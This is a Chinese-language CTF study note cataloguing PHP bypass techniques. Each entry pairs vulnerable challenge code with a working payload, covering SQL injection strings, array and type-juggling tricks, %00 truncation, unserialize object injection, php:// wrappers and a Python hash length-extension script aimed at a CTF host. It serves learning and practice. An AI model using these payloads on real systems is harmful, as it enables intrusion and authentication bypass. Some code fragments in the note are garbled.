• CTF-php特性绕过


    注意:null==0 正确

    null==flase 错误

    Extract变量覆盖

    1. $flag='xxx';
    2. extract($_GET);
    3. if(isset($shiyan))
    4. {
    5. $content=trim(file_get_contents($flag));//trim移除引号
    6. if($shiyan==$content)
    7. {
    8. echo'ctf{xxx}';
    9. }
    10. else
    11. {
    12. echo'Oh.no';
    13. }
    14. }
    15. ?>

    extract() 函数从数组中将变量导入到当前的符号表

    该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

    exp

    exp:?shiyan=&flag=1

    避免

    使用的时候加上参数EXTR_SKIP 这个参数表示如果有冲突,不不覆盖已有的变量或者还有EXTR_PREFIX_SAME.

    过滤空白字符与is_numeric

    1. <?php
    2. $info = "";
    3. $req = [];
    4. $flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
    5. ini_set("display_error", false); //为一个配置选项设置值
    6. error_reporting(0); //关闭所有PHP错误报告
    7. if(!isset($_GET['number'])){
    8. header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
    9. die("have a fun!!"); //die — 等同于 exit()
    10. }
    11. foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式
    12. foreach($global_var as $key => $value) {
    13. $value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
    14. is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
    15. }
    16. }
    17. function is_palindrome_number($number) {
    18. $number = strval($number); //strval — 获取变量的字符串值
    19. $i = 0;
    20. $j = strlen($number) - 1; //strlen — 获取字符串长度
    21. while($i < $j) {
    22. if($number[$i] !== $number[$j]) {
    23. return false;
    24. }
    25. $i++;
    26. $j--;
    27. }
    28. return true;
    29. }
    30. if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
    31. {
    32. $info="sorry, you cann't input a number!";
    33. }
    34. elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
    35. {
    36. $info = "number must be equal to it's integer!! ";
    37. }
    38. else
    39. {
    40. $value1 = intval($req["number"]);
    41. $value2 = intval(strrev($req["number"]));
    42. if($value1!=$value2){
    43. $info="no, this is not a palindrome number!";
    44. }
    45. else
    46. {
    47. if(is_palindrome_number($req["number"])){
    48. $info = "nice! {$value1} is a palindrome number!";
    49. }
    50. else
    51. {
    52. $info=$flag;
    53. }
    54. }
    55. }
    56. echo $info;
    • \f c语言中,\f(%0c)是换页的意思,因此有着当空白字符的能力
    • %00 截断 %00在c语言中是结束的最后字符

    解题思路

    1. 首先第一点是需要绕过判断的函数is_numeric($_REQUEST),可以使用%00截断,也可以先使用get传参,后使用post覆盖。具体去了解request穿参。

    https://www.cnblogs.com/miyeah/p/4005269.html

    1. 要求 $req['number']==strval(intval($req['number']))//十进制转换成字符串
    2. 要求intval($req['number']) == intval(strrev($req['number']))//strrev 反转字符串
    3. is_palindrome_number()返回False,这个条件只要在一个回文数比如191前面加一个字符即可实现
    1. import requests
    2. for i in range(256):
    3. rq = requests.get("http://127.0.0.1/vuln/CTF/1/index.php?number=%s191"%("%%%02X"%i))
    4. if '1' in rq.text:
    5. print "%%%02X"%i

    %%%02x 前两个百分号是输出一个百分号,第一个百分号用来转义第二个百分号的。第三个自然是格式的输出。

    fuzz的结果

    1. %0C
    2. %2B
    1. error_reporting(0);
    2. $flag = "flag{test}";
    3. $temp = $_GET['password'];
    4. is_numeric($temp)?die("no numeric"):NULL;
    5. if($temp>1336){
    6. echo $flag;
    7. }
    8. ?>

    temp=1337a

    多重加密

    1. include 'common.php';
    2. $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    3. //把一个或多个数组合并为一个数组
    4. class db
    5. {
    6. public $where;
    7. function __wakeup()
    8. {
    9. if(!empty($this->where))
    10. {
    11. $this->select($this->where);
    12. }
    13. }
    14. function select($where)
    15. {
    16. $sql = mysql_query('select * from user where '.$where);
    17. //函数执行一条 MySQL 查询。
    18. return @mysql_fetch_array($sql);
    19. //从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
    20. }
    21. }
    22. if(isset($requset['token']))
    23. //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
    24. {
    25. $login = unserialize(gzuncompress(base64_decode($requset['token'])));
    26. //gzuncompress:进行字符串压缩
    27. //unserialize: 将已序列化的字符串还原回 PHP 的值
    28. $db = new db();
    29. $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
    30. //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
    31. if($login['user'] === 'ichunqiu')
    32. {
    33. echo $flag;
    34. }else if($row['pass'] !== $login['pass']){
    35. echo 'unserialize injection!!';
    36. }else{
    37. echo "(╯‵□′)╯︵┴─┴ ";
    38. }
    39. }else{
    40. header('Location: index.php?error=1');
    41. }
    42. ?>

    token的加密,对token进行base64解密然后压缩,最后反序列化。

    自然我们可以先进行序列化然后压缩,最后base64加密。

    当然,我们需要让token的user属性是ichunqiu,于是就有了

    1. $arr = array(['user'] === 'ichunqiu');
    2. $token = base64_encode(gzcompress(serialize($arr)));
    3. print_r($token);
    4. // echo $token;
    5. ?>

    eJxLtDK0qs60MrBOAuJaAB5uBBQ=

    ereg和strops

    1. $flag = "flag";
    2. if (isset ($_GET['password']))
    3. {
    4. if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    5. {
    6. echo '

      You password must be alphanumeric

      '
      ;
    7. }
    8. else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    9. {
    10. if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
    11. {
    12. die('Flag: ' . $flag);
    13. }
    14. else
    15. {
    16. echo('

      *-* have not been found

      '
      );
    17. }
    18. }
    19. else
    20. {
    21. echo '

      Invalid password

      '
      ;
    22. }
    23. }
    24. ?>

    ?password=1e9%00*_*

    https://blog.csdn.net/Xxy605/article/details/109908059

    1. $flag = "flag";
    2. if (isset ($_GET['nctf'])) {
    3. if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
    4. echo '必须输入数字才行';
    5. else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
    6. die('Flag: '.$flag);
    7. else
    8. echo '骚年,继续努力吧啊~';
    9. }
    10. ?>
    • strpos()找的是字符串,那么传一个数组给它,就是null,null!==flasenctf[]=

    那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求.

    • 字符串截断,利用ereg()NULL截断漏洞,绕过正则过滤,注意将#编码,不进行url编码会当作分隔符

    https://blog.csdn.net/liu943367080/article/details/97130559

    1. $flag = "flag";
    2. if (isset ($_GET['password'])) {
    3. if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    4. echo 'You password must be alphanumeric';
    5. else if (strpos ($_GET['password'], '--') !== FALSE)
    6. die('Flag: ' . $flag);
    7. else
    8. echo 'Invalid password';
    9. }
    10. ?>

    strcmp比较字符串

    1. $flag = "flag";
    2. if (isset($_GET['a'])) {
    3. if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
    4. //比较两个字符串(区分大小写)
    5. die('Flag: '.$flag);
    6. else
    7. print 'No';
    8. }
    9. ?>

    ?a[]=1

    使用:php<5.3的时候,传入非字符数也会报错

    传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误

    sha()函数比较绕过

    1. $flag = "flag";
    2. if (isset($_GET['name']) and isset($_GET['password']))
    3. {
    4. if ($_GET['name'] == $_GET['password'])
    5. echo '

      Your password can not be your name!

      '
      ;
    6. else if (sha1($_GET['name']) === sha1($_GET['password']))
    7. die('Flag: '.$flag);
    8. else
    9. echo '

      Invalid password.

      '
      ;
    10. }
    11. else
    12. echo '

      Login first!

      '
      ;
    13. ?>

    sha1()函数和md5()函数存在着漏洞,sha1()函数默认的传入参数类型是字符串型,那要是给它传入数组呢会出现错误,使sha1()函数返回错误,也就是返回false,这样一来===运算符就可以发挥作用了,需要构造usernamepassword既不相等,又同样是数组类型

    所以payload:?name[]=a&password[]=b

    session绕过

    1. $flag = "flag";
    2. session_start();
    3. if (isset ($_GET['password'])) {
    4. if ($_GET['password'] == $_SESSION['password'])
    5. die ('Flag: '.$flag);
    6. else
    7. print '

      Wrong guess.

      '
      ;
    8. }
    9. mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
    10. ?>

    删除cookies或者删除cookies的值,同时把password的值置空

    密码比较md5绕过

    1. //配置数据库
    2. if($_POST[user] && $_POST[pass]) {
    3. $conn = mysql_connect("********, "*****", "********");
    4. mysql_select_db("phpformysql") or die("Could not select database");
    5. if ($conn->connect_error) {
    6. die("Connection failed: " . mysql_error($conn));
    7. }
    8. //赋值
    9. $user = $_POST[user];
    10. $pass = md5($_POST[pass]);
    11. //sql语句
    12. // select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' #
    13. // ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
    14. $sql = "select pw from php where user='$user'";
    15. $query = mysql_query($sql);
    16. if (!$query) {
    17. printf("Error: %s\n", mysql_error($conn));
    18. exit();
    19. }
    20. $row = mysql_fetch_array($query, MYSQL_ASSOC);
    21. //echo $row["pw"];
    22. if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
    23. //如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
    24. echo "

      Logged in! Key:**************

      ";
    25. }
    26. else {
    27. echo("

      Log in failure!

      ");
    28. }
    29. }
    30. ?>

    ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

    二次编码绕过

    1. if(eregi("hackerDJ",$_GET[id])) {
    2. echo("

      not allowed!

      "
      );
    3. exit();
    4. }
    5. $_GET[id] = urldecode($_GET[id]);
    6. if($_GET[id] == "hackerDJ")
    7. {
    8. echo "

      Access granted!

      "
      ;
    9. echo "

      flag: *****************}

      "
      ;
    10. }
    11. ?>

    因为get传参以后会自动进行一次url编码,所以一共要两次

    sql特殊绕过

    闭合绕过

    1. if($_POST[user] && $_POST[pass]) {
    2. $conn = mysql_connect("*******", "****", "****");
    3. mysql_select_db("****") or die("Could not select database");
    4. if ($conn->connect_error) {
    5. die("Connection failed: " . mysql_error($conn));
    6. }
    7. $user = $_POST[user];
    8. $pass = md5($_POST[pass]);
    9. //select user from php where (user='admin')#
    10. //exp:admin')#
    11. $sql = "select user from php where (user='$user') and (pw='$pass')";
    12. $query = mysql_query($sql);
    13. if (!$query) {
    14. printf("Error: %s\n", mysql_error($conn));
    15. exit();
    16. }
    17. $row = mysql_fetch_array($query, MYSQL_ASSOC);
    18. //echo $row["pw"];
    19. if($row['user']=="admin") {
    20. echo "

      Logged in! Key: ***********

      "
      ;
    21. }
    22. if($row['user'] != "admin") {
    23. echo("

      You are not admin!

      "
      );
    24. }
    25. }
    26. ?>

    admin')#

    with ROLLUP绕过

    1. error_reporting(0);
    2. if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    3. echo '
      '."
      "
      ;
    4. echo ''."
      "
      ;
    5. echo ''."
      "
      ;
    6. echo ''."
      "
      ;
    7. echo ''."
      "
      ;
    8. echo ''."
      "
      ;
    9. die;
    10. }
    11. function AttackFilter($StrKey,$StrValue,$ArrReq){
    12. if (is_array($StrValue)){
    13. //检测变量是否是数组
    14. $StrValue=implode($StrValue);
    15. //返回由数组元素组合成的字符串
    16. }
    17. if (preg_match("/".$ArrReq."/is",$StrValue)==1){
    18. //匹配成功一次后就会停止匹配
    19. print "水可载舟,亦可赛艇!";
    20. exit();
    21. }
    22. }
    23. $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
    24. foreach($_POST as $key=>$value){
    25. //遍历数组
    26. AttackFilter($key,$value,$filter);
    27. }
    28. $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
    29. if (!$con){
    30. die('Could not connect: ' . mysql_error());
    31. }
    32. $db="XXXXXX";
    33. mysql_select_db($db, $con);
    34. //设置活动的 MySQL 数据库
    35. $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
    36. $query = mysql_query($sql);
    37. //执行一条 MySQL 查询
    38. if (mysql_num_rows($query) == 1) {
    39. //返回结果集中行的数目
    40. $key = mysql_fetch_array($query);
    41. //返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
    42. if($key['pwd'] == $_POST['pwd']) {
    43. print "CTF{XXXXXX}";
    44. }else{
    45. print "亦可赛艇!";
    46. }
    47. }else{
    48. print "一颗赛艇!";
    49. }
    50. mysql_close($con);
    51. ?>

    admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -

    https://blog.csdn.net/qq_35078631/article/details/54772798

    offset 1表示跳过一条数据

    Desc(反引号)

    1. require("config.php");
    2. $table = $_GET['table']?$_GET['table']:"test";
    3. $table = Filter($table);
    4. mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
    5. $sql = "select 'flag{xxx}' from secret_{$table}";
    6. $ret = sql_query($sql);
    7. echo $ret[0];
    8. ?>

    https://blog.csdn.net/shuteer_xu/article/details/107478640

    ctf@localhost

    查表,查列的时候,数据库名使用16进制

    `flag` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1`

    有版本限制的。

    or绕过

    1. #GOAL: login as admin,then get the flag;
    2. error_reporting(0);
    3. require 'db.inc.php';
    4. function clean($str){
    5. if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置
    6. $str=stripslashes($str); //返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。
    7. }
    8. return htmlentities($str, ENT_QUOTES);
    9. }
    10. $username = @clean((string)$_GET['username']);
    11. $password = @clean((string)$_GET['password']);
    12. //$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';
    13. $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
    14. $result=mysql_query($query);
    15. if(!$result || mysql_num_rows($result) < 1){
    16. die('Invalid password!');
    17. }
    18. echo $flag;
    19. ?>

    $query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';

    ?username=admin\'\' AND pass=\''or 1 #&password=

    闭合重构造

    //select pw from ctf where user=''and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #

    xff绕过指定ip地址

    1. function GetIP(){
    2. if(!empty($_SERVER["HTTP_CLIENT_IP"]))
    3. $cip = $_SERVER["HTTP_CLIENT_IP"];
    4. else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
    5. $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
    6. else if(!empty($_SERVER["REMOTE_ADDR"]))
    7. $cip = $_SERVER["REMOTE_ADDR"];
    8. else
    9. $cip = "0.0.0.0";
    10. return $cip;
    11. }
    12. $GetIPs = GetIP();
    13. if ($GetIPs=="1.1.1.1"){
    14. echo "Great! Key is *********";
    15. }
    16. else{
    17. echo "错误!你的IP不在访问列表之内!";
    18. }
    19. ?>

    md5加密绕过

    1. $md51 = md5('QNKCDZO');
    2. $a = @$_GET['a'];
    3. $md52 = @md5($a);
    4. if(isset($a)){
    5. if ($a != 'QNKCDZO' && $md51 == $md52) {
    6. echo "nctf{*****************}";
    7. } else {
    8. echo "false!!!";
    9. }}
    10. else{echo "please input a";}
    11. ?>

    0=0

    1. error_reporting(0);
    2. $flag = 'flag{test}';
    3. if (isset($_GET['username']) and isset($_GET['password'])) {
    4. if ($_GET['username'] == $_GET['password'])
    5. print 'Your password can not be your username.';
    6. else if (md5($_GET['username']) === md5($_GET['password']))
    7. die('Flag: '.$flag);
    8. else
    9. print 'Invalid password';
    10. }
    11. ?>

    强等于只能用数组绕过

    ?username[]=1&password[]=2,每次得出来的都是null

    1. error_reporting(0);
    2. $flag = 'flag{test}';
    3. $temp = $_GET['password'];
    4. if(md5($temp)==0){
    5. echo $flag;
    6. }
    7. ?>
    • Password 置空,null==0 是true
    • 0e开头

    md5加密的sql注入

    1. error_reporting(0);
    2. $link = mysql_connect('localhost', 'root', 'root');
    3. if (!$link) {
    4. die('Could not connect to MySQL: ' . mysql_error());
    5. }
    6. // 选择数据库
    7. $db = mysql_select_db("security", $link);
    8. if(!$db)
    9. {
    10. echo 'select db error';
    11. exit();
    12. }
    13. // 执行sql
    14. $password = $_GET['password'];
    15. $sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
    16. var_dump($sql);
    17. $result=mysql_query($sql) or die('
      ' . mysql_error() . '
      '
      );
    18. $row1 = mysql_fetch_row($result);
    19. var_dump($row1);
    20. mysql_close($link);
    21. ?>

    https://www.cnblogs.com/beijibing/p/10393526.html

    interval函数四舍五入

    1. if($_GET[id]) {
    2. mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
    3. mysql_select_db(SAE_MYSQL_DB);
    4. $id = intval($_GET[id]);
    5. $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
    6. if ($_GET[id]==1024) {
    7. echo "

      no! try again

      "
      ;
    8. }
    9. else{
    10. echo($query[content]);
    11. }
    12. }
    13. ?>

    1024.1

    四舍五入绕过最基本的if判断

    十六进制与数字比较

    1. error_reporting(0);
    2. function noother_says_correct($temp)
    3. {
    4. $flag = 'flag{test}';
    5. $one = ord('1'); //ord — 返回字符的 ASCII 码值
    6. $nine = ord('9'); //ord — 返回字符的 ASCII 码值
    7. $number = '3735929054';
    8. // Check all the input characters!
    9. for ($i = 0; $i < strlen($number); $i++)
    10. {
    11. // Disallow all the digits!
    12. $digit = ord($temp{$i});
    13. if ( ($digit >= $one) && ($digit <= $nine) )
    14. {
    15. // Aha, digit not allowed!
    16. return "flase";
    17. }
    18. }
    19. if($number == $temp)
    20. return $flag;
    21. }
    22. $temp = $_GET['password'];
    23. echo noother_says_correct($temp);
    24. ?>

    这里,它不让输入1到9的数字,但是后面却让比较一串数字,平常的方法肯定就不能行了,大家都知道计算机中的进制转换,当然也是可以拿来比较的,0x开头则表示16进制,将这串数字转换成16进制之后发现,是deadc0de,在开头加上0x,代表这个是16进制的数字,然后再和十进制的

    3735929054比较,答案当然是相同的,返回true拿到flag

    echo dechex ( 3735929054 ); // 将3735929054转为16进制

    结果为:deadc0de

    构造:

    http://127.0.0.1/Php_Bug/20.php?password=0xdeadc0de

    数字验证正则绕过

    1. error_reporting(0);
    2. $flag = 'flag{test}';
    3. if ("POST" == $_SERVER['REQUEST_METHOD'])
    4. {
    5. $password = $_POST['password'];
    6. if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
    7. {
    8. echo 'Wrong Format';
    9. exit;
    10. }
    11. while (TRUE)
    12. {
    13. $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
    14. if (6 > preg_match_all($reg, $password, $arr))
    15. break;
    16. $c = 0;
    17. $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
    18. foreach ($ps as $pt)
    19. {
    20. if (preg_match("/[[:$pt:]]+/", $password))
    21. $c += 1;
    22. }
    23. if ($c < 3) break;
    24. //>=3,必须包含四种类型三种与三种以上
    25. if ("42" == $password) echo $flag;
    26. else echo 'Wrong password';
    27. exit;
    28. }
    29. }
    30. ?>

    0 >= preg_match('/^[[:graph:]]{12,}$/', $password)

    意为必须是12个字符以上(非空格非TAB之外的内容)

    $password分成连续的符号punct或者数字digit或者大写upper或者小写lower能分成6段以上

    而且必须要有大小写字母,数字,字符内容三种与三种以上,最后还要等于42

    1. 42.00e+00000000000
    2. 42.Hell0dddddddddd

    switch没有break

    1. error_reporting(0);
    2. if (isset($_GET['which']))
    3. {
    4. $which = $_GET['which'];
    5. if ($which===0||$which===1||$which===2)
    6. die("no,no,no,no");
    7. switch ($which)
    8. {
    9. case 0:
    10. case 1:
    11. case 2:
    12. require_once $which.'.php';
    13. echo $flag;
    14. break;
    15. default:
    16. echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
    17. break;
    18. }
    19. }
    20. ?>

    https://zhidao.baidu.com/question/336186893.html

    输入任意字符串即可

    反序列化

    unserialize()会忽略多余的字符

    1. require_once('shield.php');
    2. $x = new Shield();
    3. isset($_GET['class']) && $g = $_GET['class'];
    4. if (!empty($g)) {
    5. $x = unserialize($g);
    6. }
    7. echo $x->readfile();
    8. ?>
    9. "showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
    10. //flag is in pctf.php
    11. class Shield {
    12. public $file;
    13. function __construct($filename = '') {
    14. $this -> file = $filename;
    15. }
    16. function readfile() {
    17. if (!empty($this->file) && stripos($this->file,'..')===FALSE
    18. && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
    19. return @file_get_contents($this->file);
    20. }
    21. }
    22. }
    23. ?>
    24. $f = $_GET['img'];
    25. if (!empty($f)) {
    26. $f = base64_decode($f);
    27. if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
    28. //stripos — 查找字符串首次出现的位置(不区分大小写)
    29. && stripos($f,'pctf')===FALSE) {
    30. readfile($f);
    31. } else {
    32. echo "File not found!";
    33. }
    34. }
    35. ?>
    1. require_once('shield.php');
    2. $x = new Shield();
    3. $g = serialize($x);
    4. echo $g;
    5. ?>
    6. //flag is in pctf.php
    7. class Shield {
    8. public $file;
    9. function __construct($filename = 'pctf.php') {
    10. $this -> file = $filename;
    11. }
    12. function readfile() {
    13. if (!empty($this->file) && stripos($this->file,'..')===FALSE
    14. && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
    15. return @file_get_contents($this->file);
    16. }
    17. }
    18. }
    19. ?>

    得到:O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

    构造 http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

    反序列化逃逸

    1. function filter($str){
    2. return str_replace('bb', 'ccc', $str);
    3. }
    4. class A{
    5. public $name='aaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
    6. public $pass='123456';
    7. }
    8. $AA=new A();
    9. $res=filter(serialize($AA)."\n");
    10. echo $res;
    11. $c=unserialize($res);
    12. var_dump($c);
    13. ?>

    直接能造成逃逸

    哈希长度拓展攻击

    1. Web <span class="hljs-number">350</span>
    2. $auth = false;
    3. $role = "guest";
    4. $salt =
    5. if (isset($_COOKIE["role"])) {
    6. $role = unserialize($_COOKIE["role"]);
    7. $hsh = $_COOKIE["hsh"];
    8. if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"])))
    9. // strrev返回 string 反转后的字符串。
    10. {
    11. $auth = true;
    12. } else {
    13. $auth = false;
    14. }
    15. } else {
    16. $s = serialize($role);
    17. setcookie('role',$s);
    18. $hsh = md5($salt.strrev($s));
    19. setcookie('hsh',$hsh);
    20. }
    21. if ($auth) {
    22. echo "

      Welcome Admin. Your flag is

    23. } else {
    24. echo "

      Only Admin can see the flag!!

      ";
    25. }
    26. ?>

    https://www.cnblogs.com/Cl0ud/p/13380114.html

    所以我们需要突破的是

    $role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))

    先看后面的比较

    左边的$hsh是我们COOKIE中传递过去的$hsh 哈希值

    右边是使用盐值和反转后的传过去的role值连接后,并进行md5加密的结果,需要与$hsh相等

    这里看上去是无懈可击的,虽然我们可以传递hsh和role的值,但是因为我们不知道盐值,所以得到的md5很难凭猜或者爆破来令其与hsh相等。

    但是如MD5,SHA1, SHA2等,都是基于Merkle–Damgård结构,而这类算法的问题在于:如果你知道加密前的原文,和加密后的密文,只需要再知道盐值的长度,就能在原文后面添加信息并计算出相应的密文。

    在pcat的博文中介绍过应用场景为

    如果一个应用程序是这样操作的:

    1. 准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)

    2. 让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文

    3. 服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值

    这个时候,该应用程序就易受长度扩展攻击

    另外,只有盐值在前,原文在后,才可以用hash长度扩展攻击。

    预测得到的是:

    md5(盐+原文+填充+恶意扩充)

    哈希长度扩展攻击我们通常使用HashPump进行利用

    HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。

    1. git clone https://github.com/bwall/HashPump
    2. apt-get install g++ libssl-dev
    3. cd HashPump
    4. make
    5. make install

    我们先进行抓包

    这里还利用了PHP反序列化unserialize的一个特性,即unserialize()会忽略多余的字符

    例如:

    1. $s = 's:5:"admin"; s:5:"guest";';
    2. echo unserialize($s);
    3. ?>

    可以看到,后面的guest被忽略了,没有进行反序列化,而是被忽略了,这也是我们使用填充字符进行哈希长度扩展攻击的关键。

    另外我们虽然不知道盐值的长度,但是我们可以进行逐个尝试

    将获得的结果反序后重放

    1. import requests,hashpumpy,urllib
    2. def attack():
    3. url = 'http://web.jarvisoj.com:32778/'
    4. old_cookie = '3a4727d57463f122833d9e732f94e4e0'
    5. str1 = 's:5:"guest";'
    6. str2 = 's:5:"admin";'
    7. str1 = str1[::-1] #倒过来,这道题要role的值反过来求md5
    8. str2 = str2[::-1]
    9. for i in range(1,20): #用于爆破salt的长度
    10. new_cookie,message = hashpumpy.hashpump(old_cookie,str1,str2,i)
    11. payload = {'role':urllib.parse.quote(message[::-1]),'hsh':new_cookie} #quote()可以把 \x00 变成 %00
    12. ans = requests.get(url,cookies = payload)
    13. print(i)
    14. print(ans.text)
    15. if 'flag' in ans.text:
    16. print(ans.text)
    17. #print(urllib.parse.quote('\x00'))
    18. attack()

    数组提交绕过逻辑

    1. $role = "guest";
    2. $flag = "flag{test_flag}";
    3. $auth = false;
    4. if(isset($_COOKIE["role"])){
    5. $role = unserialize(base64_decode($_COOKIE["role"]));
    6. if($role === "admin"){
    7. $auth = true;
    8. }
    9. else{
    10. $auth = false;
    11. }
    12. }
    13. else{
    14. $role = base64_encode(serialize($role));
    15. setcookie('role',$role);
    16. }
    17. if($auth){
    18. if(isset($_POST['filename'])){
    19. $filename = $_POST['filename'];
    20. $data = $_POST['data'];
    21. if(preg_match('[<>?]', $data)) {
    22. die('No No No!'.$data);
    23. }
    24. else {
    25. $s = implode($data);
    26. if(!preg_match('[<>?]', $s)){
    27. $flag='None.';
    28. }
    29. $rand = rand(1,10000000);
    30. $tmp="./uploads/".md5(time() + $rand).$filename;
    31. file_put_contents($tmp, $flag);
    32. echo "your file is in " . $tmp;
    33. }
    34. }
    35. else{
    36. echo "Hello admin, now you can upload something you are easy to forget.";
    37. echo "
      there are the source.
      "
      ;
    38. echo '';
    39. }
    40. }
    41. else{
    42. echo "Sorry. You have no permissions.";
    43. }
    44. ?>

    想要通过Post请求的形式传入数组可以使用 data[0]=123&data[1]=<> 的形式传入数组,这样的话在执行 implode() 函数的时候就不会使 &s 为空,成功绕过这段逻辑拿到flag。

    伪协议

    1. error_reporting(0);
    2. echo "";
    3. if(!$_GET['id'])
    4. {
    5. header('Location: index.php?id=1');
    6. exit();
    7. }
    8. $id=$_GET['id'];
    9. $a=$_GET['a'];
    10. $b=$_GET['b'];
    11. if(stripos($a,'.'))
    12. {
    13. echo 'Hahahahahaha';
    14. return ;
    15. }
    16. $data = @file_get_contents($a,'r');
    17. if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    18. {
    19. require("flag.txt");
    20. }
    21. else
    22. {
    23. print "work harder!harder!harder!";
    24. }
    25. ?>

    ?id=aaa&b=%00123456&a=php//:input

    post: 1112 is a nice lab!

    得到{/^HT2mCpcvOLf}其中^经过url编码为%5e,所以最后访问即

    写入的读

    1. //what you want to see is in ssssrf.php
    2. error_reporting(0);
    3. highlight_file(__FILE__);
    4. if(isset($_POST['crack_me.com']))
    5. {
    6. $filename=$_POST['crack_me.com'];
    7. if(stripos($filename, 'bingbing')>0){
    8. echo file_get_contents($filename);
    9. }
    10. else{
    11. die("you don't like bingbing ???");
    12. }
    13. }
    14. else
    15. {
    16. die("can't pass the level?hai xiang kai junjian?");
    17. }

    [会代替成为_

    crack[me.com=php://filter/read=convert.base64|bingbing/resource=xxx.php

    php伪随机数

    1. //next ,you can try ccccmd.php
    2. error_reporting(0);
    3. function curl($url){
    4. $ch=curl_init($url);
    5. curl_setopt($ch, CURLOPT_HEADER, 0);
    6. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    7. $result=curl_exec($ch);
    8. curl_close($ch);
    9. echo ($result);
    10. }
    11. $num=$_GET['num'];
    12. mt_srand(getenv('SEED'));
    13. $r1=mt_rand();
    14. echo $r1;
    15. $r2=mt_rand();
    16. if($num==$r2){
    17. $url=$_GET['url'];
    18. curl($url);
    19. }

    这里需要先绕过$r2=mt_rand();

    https://gitee.com/jrand/php_mt_seed

